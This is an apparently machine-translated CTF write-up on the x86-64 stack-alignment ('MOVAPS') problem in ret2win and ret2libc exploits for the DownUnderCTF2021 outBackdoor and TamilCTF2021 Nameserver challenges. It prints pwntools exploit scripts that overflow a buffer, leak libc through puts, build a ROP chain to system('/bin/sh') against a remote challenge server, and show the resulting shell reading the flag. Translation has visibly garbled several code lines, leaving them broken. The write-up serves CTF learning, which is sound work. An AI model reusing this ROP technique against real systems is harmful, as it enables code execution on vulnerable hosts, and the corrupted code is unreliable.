When you have laid out the stack perfectly, leaked the liBC address, and obtained the syetem address in liBC, obtained the ‘/bin/sh’ address, and then just one step closer to sendline, you suddenly realize, what? Why did the system fail? The address is also right ah, checked again and again, all right ah.

 

At this point, you start to wonder, is there a new LIBC on the Server? Is the address fetch error? Ten thousand questions will come at you. But it could just be a problem retn solves that trips you up at the last step. This is The MOVAPS Issue

Cause of the problem

First of all, let’s put two problems that Xiao Ming encountered recently:

  1. Tamilctf2021, PWN, Nameserver
  2. DownUnderCTF2021, PWN, outBackdoor

Interested partners can have a look at these two topics. Both problems are very similar, both are stack overflow, control eIP. But! Can’t get shell!! Enrage people not

DownUnderCTF2021-outBackdoor

DownUnderCTF is much simpler, providing an outBackdoor function directly

 

The protection mechanism

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Copy the code

vulnerability

int __cdecl main(int argc, const char **argv, const char **envp) { char v4[16]; // [rsp+0h] [rbp-10h] BYREF buffer_init(argc, argv, envp); puts("\nFool me once, shame on you. Fool me twice, shame on me."); puts("\nSeriously though, what features would be cool? Maybe it could play a song?" ); gets(v4); return 0; } int outBackdoor() { puts("\n\nW... w... Wait? Who put this backdoor out back here?" ); return system("/bin/sh"); } //main v4 stack structure -0000000000000010 var_10 db 16 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) + 0000000000000010 + 0000000000000010; end of stack variablesCopy the code

Simple, stack overflow. Based on main’s stack structure, we know that we only need to fill 0x10+8 data to override the EIP.

 

Isn’t that easy? Exploits are as follows:

#! /usr/bin/python #coding:utf-8[/size][/align][align=left][size=3] from pwn import * context(os = 'linux', log_level='debug') local_path = './outBackdoor' addr = 'pwn-2021.duc.tf' port = 31921 is_local = 1 if is_local ! = 0: io = process(local_path,close_fds=True) else: io = remote(addr, port) # io = gdb.debug(local_path) elf=ELF(local_path) p_backdoor=elf.symbols['outBackdoor'] p_main = elf.symbols['main'] p_system = elf.symbols['system'] p_bin_sh = 0x4020CD p_pop_rdi = 0x040125b p_retn = 0x04011FA p_ = 0x04011E7 IO. Recvuntil (b"Maybe it could play a song") # error Show get_shell = Cyclic (16 + 8) + P64 (p_backdoor gdb.attach(io, "b * outBackdoor") gdb.attach(io, "b * main") io.sendline(get_shell) io.interactive()Copy the code

 

For those of you who are interested, check out exp to make sure it’s all right (at least for now). But when we hit it, something strange is happening.

The program outputs the following prompt, which you can easily see coming from the outBackdoor function, indicating that we have indeed entered outBackdoor and started shell execution. But no matter how hard you tried, you couldn’t get in? What? Why is that?

W... w... Wait? Who put this backdoor out back here?Copy the code

My solution

.text:00000000004011E7 lea rdi, command ; "/bin/sh" .text:00000000004011EE mov eax, 0 .text:00000000004011F3 call _system .text:00000000004011F8 nop .text:00000000004011F9 pop rbp .text:00000000004011FA Retn replaces the above error demonstration with the following, successfully retrieving the shell p_ = 0x04011E7 get_shell = Cyclic (16 + 8) + p64(p_) # this will also workCopy the code

Little talent, although I got the shell, but it is the shell of the mystery, why? No careful thinking about this problem, after all, the entry of small white, can not experience the idea of setting the topic god. So the question hangs in the balance.

Positive solution

Until one day, I saw this problem right in CTFtime solution [^ 1] (www.oschina.net/action/GoTo…

 

The meaning of this writeup is that, in this link [^ 2] (www.oschina.net/action/GoTo…

 

What! Silently opened this link, the key information is as follows:

After searching the instruction movaps segfault I came across indicates this site [^ 3] (www.oschina.net/action/GoTo… explains the issue.

The MOVAPS issue

If you’re using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto The stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

 

Simply adding a call to a ret gadget before the call to system aligned bytes, and allowed me to pop a shell.

 

To summarize: on 64-bit machines, when you call printf or system, make sure rsp&0xf==0, which in human language is 16-byte alignment, with the last four bits being 0. An error is reported when the above conditions are not met.

 

It’s amazing! So when I construct the payload, the stack doesn’t satisfy these conditions, so I write GDB.

As shown in the figure above, it is true that the minimum 4 bits are not 0 when calling the system function (in fact, that half byte is 8)

So, what about our own approach?

Indeed, the lowest 4 bits is 0, which satisfies the condition.

 

His method, plus Retn, also satisfies the condition:

 

This time, I understand a truth: I am blind cat met dead mouse ah !!!!

 

Here’s why we have this dead rat.

A blind cat meets a dead mouse

Dead rat analysis

The only difference in payload is that some people can get shells and others can’t:

Get_shell = Cyclic (16 + 8) + p64(p_retn) + p64(p_backdoor) get_shell = Cyclic (16 + 8) + p64(p_) # This can also be get_shell = Cyclic (16 + 8) + P64 (P_Backdoor) # error demonstrationCopy the code

Let’s analyze it in detail:

 

We break the breakpoint at retn when main returns,

Retn is then performed to pop up the value assigned to the EIP at the top of the stack. The stack structure becomes

As you can see, RSP is RSP 0x7FFFC8D60ec0

 

The next step is to save the bottom of the previous stack so that the previous stack can be restored after this function completes. After this step, our RSP at the top of the stack changes

► 0x4011D7 <outBackdoor> push RBPCopy the code

And this change persists through the system call. Since then, rsp&0xf==0 is not satisfied, failure!

 

All right, we’re done with this rat

Why did it happen to me?

P_ = 0x04011E7 get_shell = Cyclic (16 + 8) + p64(p_) # This also worksCopy the code

In my solution, I directly control eIP to the position 0x4011e7 in the figure above, perfectly skipping the operation of push RBP, so RSP meets the condition. (Don’t ask me why I came up with such a “genius” idea, because I’m a “god guess.”)

So what’s the principle of his solution?

get_shell = cyclic(16 + 8)  + p64(p_retn) + p64(p_backdoor)
Copy the code

As you can see, a reTN operation is performed before entering the Backdoor function. The reTN operation essentially pops one unit at the top of the stack into the EIP, in this case RSP +8, so pops one unit and pushes one unit into the backdoor function, and it balances out!

Tamilctf2021-Nameserver

Coincidentally, two days after the start of DownUnderCTF, TamilCTF also put out such a question.

   Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
 
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 
  setbuf(_bss_start, 0LL);
  puts("Welcome to TamilCTF");
  printf("what is you name: ");
  read(0, buf, 500uLL);
  return 0;
}
Copy the code

Typical stack overflow: Puts leaks the liBC address, then finds the address of System, /bin/sh, ROP, getShell in the liBC. Ha, ha, ha, ha. Exp is as follows:

from pwn import * from LibcSearcher import * context(log_level='debug') # context.terminal = ['terminator','-x','sh','-c'] local_path = './name-serv' addr = '3.97.113.25' port = 9001 is_local = 0 def debug(CMD): gdb.attach(io, cmd) if is_local: io = process(local_path) # debug('b * (vuln+0x121d - 0x11a2)') # debug('b * (main)') else: io = remote(addr, port) # io.recvuntil(b'what is you name: ') # payload = cyclic(500) p_pop_rdi= 0x0004006d3 elf = ELF(local_path) p_puts_plt = elf.plt['puts'] p_puts_got = elf.got['puts'] p_read_got = elf.got['read'] p_start = elf.symbols['_start'] p_main = elf.symbols['main'] p_read = elf.symbols['read'] p_bss = elf.bss() io.recvuntil(b'what is you name: ') payload = b'a'*40 + p64(p_pop_rdi) + p64(p_puts_got) + p64(p_puts_plt) + p64(p_main) io.send(payload) p_puts_addr = u64(io.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) print(hex(p_puts_addr)) obj = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = p_puts_addr - Obj. symbols['puts'] # computes the actual addresses of various functions system = libc_base+obj.symbols['system'] # computes the actual addresses of various functions = libc_base+next(obj.search(b'/bin/sh')) # gdb.attach(io, Pbins (p_pop_rdi) + bins (p64) + p64(system) io.interactive()Copy the code

Lol, wrong demonstration (Mind course: always thought there was a problem with liBC, tried Libcsearcher, DynELF, not to mention crashed)

# The point is the addition of this reTN, The reason is "The MOVAPS issue If you're segfaulting on a MOVAPS instruction in buffered_vfprintf() or do_system() in The x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions  of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction. ''' p_retn = 0x00400661 payload = b'a'*40 + p64(p_pop_rdi) + p64(bins) + p64(p_retn) + p64(system)Copy the code

Plus retn, get shell.

what is you name: $ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x26 bytes:
    b'flag.txt\n'
    b'libc.so.6\n'
    b'name-serv\n'
    b'start.sh\n'
flag.txt
libc.so.6
name-serv
start.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x27 bytes:
    b'TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}\n'
TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}
Copy the code

conclusion

This paper mainly explains The MOVAPS issue and analyzes The two related topics in DownUnderCTF2021 and TamilCTF2021. In terms of The topic itself, ROP is very simple, and The knowledge point is The MOVAPS issue, which is easy to understand.

 

Recently, I saw a sentence that refreshed my cognition again. RE not only tested the reverse skills, but also examined the skills of Google and GIThub. Crypto measures not only your knowledge of math, but also your ability to read paper.

 

So, is what you think really what you think?

 

The world is so big, go out and see more. reference

Focus on private I get [Network security learning strategy]